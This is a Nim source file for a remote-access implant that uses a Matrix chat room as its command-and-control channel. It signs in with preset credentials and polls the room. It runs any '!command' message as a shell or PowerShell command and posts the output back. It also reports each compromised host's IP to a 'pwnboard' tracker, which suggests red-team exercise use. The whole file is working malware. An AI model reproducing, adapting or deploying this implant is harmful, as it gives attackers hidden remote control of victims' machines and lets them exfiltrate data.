import httpClient
import json
import os
import osproc
import strutils
import net
import strenc

# Config values
const 
    username: string = ""
    password: string = ""
    server: string = ""
    roomId: string = ""
    usePwnboard: bool = true
    pwnboardurl: string = ""
    pwnboardToken: string = ""

var token: string
var nextBatch: string
var ip: string = $getPrimaryIPAddr()
var transactionId: int = parseInt(strip(ip, chars={'.'})) * 1000000

proc reportPwnBoard(ip: string): void =
    let client: HttpClient = newHttpClient()
    client.headers = newHttpHeaders({
        "Content-Type": "application/json",
        "Authorization": "Bearer " & pwnboardToken
    })

    let payload: JsonNode = %*{
        "ip": ip,
        "application": "Neo",
        "access_type": "matrix c2"
    }

    try:
        discard client.post(pwnboardUrl, $payload)
    except:
        discard

proc matchIp(ip, pattern: string): bool =
    let ipParts = ip.split('.')
    let patternParts = pattern.split('.')

    if ipParts.len != 4 or patternParts.len != 4:
        return false

    for i in 0..<4:
        if patternParts[i] == "*":
            continue
        if ipParts[i] != patternParts[i]:
            return false

    return true

proc login(client: HttpClient): string = 
    var payload: JsonNode = %*{
        "identifier": {
            "type": "m.id.user",
            "user": username
        },
        "initial_device_display_name": "Neo Bot",
        "password": password,
        "type": "m.login.password"
    }

    var response = client.postContent("https://" & server & "/_matrix/client/v3/login", $payload)
    client.close()

    var data = parseJson(response)
    return data["access_token"].getStr()

proc initBatch(client: HttpClient): void =
    var url = "https://" & server & "/_matrix/client/v3/sync"

    var response = client.getContent(url)
    client.close()

    var data = parseJson(response)
    nextBatch = data["next_batch"].getStr()

proc syncMessages(client: HttpClient): seq[string] =
    var messages: seq[string]

    var response = client.getContent("https://" & server & "/_matrix/client/v3/sync" & "?since=" & nextBatch)
    client.close()

    var data = parseJson(response)
    nextBatch = data["next_batch"].getStr()

    if data["rooms"]["join"].len > 0:
        for roomId, room in data["rooms"]["join"].pairs:
            if roomId == roomId:
                if not room.hasKey("timeline"):
                    break # There are no new messages

                for event in room["timeline"]["events"]:
                    if event.hasKey("content"):
                        if event["content"].hasKey("msgtype"):
                            if event["content"]["msgtype"].getStr() == "m.text" and event["sender"].getStr() != "@" & username & ":" & server:
                                messages.add(event["content"]["body"].getStr())
                
                if usePwnboard:
                    reportPwnBoard(ip)

    return messages

proc sendMessage(client: HttpClient, message: string): void =
    try:
        var payload: JsonNode = %*{
            "body": "",
            "msgtype": "m.text",
            "format": "org.matrix.custom.html",
            "formatted_body": "<code>" & ip & "</code> " & message
        }

        discard client.putContent("https://" & server & "/_matrix/client/v3/rooms/" & roomId & "/send/m.room.message/" & $transactionId, $payload)
        client.close()

        transactionId += 1
         
    except:
        discard

proc main(): void =
    var client: HttpClient = newHttpClient()

    # Login loop
    var fails: int = 0
    while token == "":
        try:
            token = login(client)
        except:
            fails += 1

            if fails == 5:
                quit()

            sleep(60000)

        client.headers = newHttpHeaders({
            "Authorization": "Bearer " & token
        })

    initBatch(client)

    # Command loop
    var messages: seq[string]
    while true:
        try:
            messages = syncMessages(client)
        except:
            discard

        for message in messages:
            try:
                var splitMessage: seq[string] = message.split(" ")

                if splitMessage.len >= 1:
                    # Ping
                    if splitMessage[0] == "!ping":
                        if usePwnboard:
                                reportPwnBoard(ip)

                        if splitMessage.len >= 2:
                            if matchIp(ip, splitMessage[1]):
                                sendMessage(client, "Pong!")

                        sendMessage(client, "Pong!")

                    # Command
                    if splitMessage[0] == "!command" and splitMessage.len >= 3:
                        if matchIp(ip, splitMessage[1]):
                            if usePwnboard:
                                reportPwnBoard(ip)

                            var commandOutput: string

                            try:
                                if defined(windows):
                                    (commandOutput, _) = execCmdEx("powershell -c " & splitMessage[2..^1].join(" "))
                                else:
                                    (commandOutput, _) = execCmdEx(splitMessage[2..^1].join(" "))
                                
                                sendMessage(client, "Command Result: <pre>" & commandOutput & "</pre>")

                            except:
                                sendMessage(client, "Failed to run command <pre>" & splitMessage[2..^1].join("") & "</pre>")

                    # Kill
                    if splitMessage[0] == "!kill" and splitMessage.len >= 2:
                        if matchIp(ip, splitMessage[1]):
                            if usePwnboard:
                                reportPwnBoard(ip)
                                
                            quit()
            
            except:
                discard
        
        sleep(1000)

if isMainModule:
    main()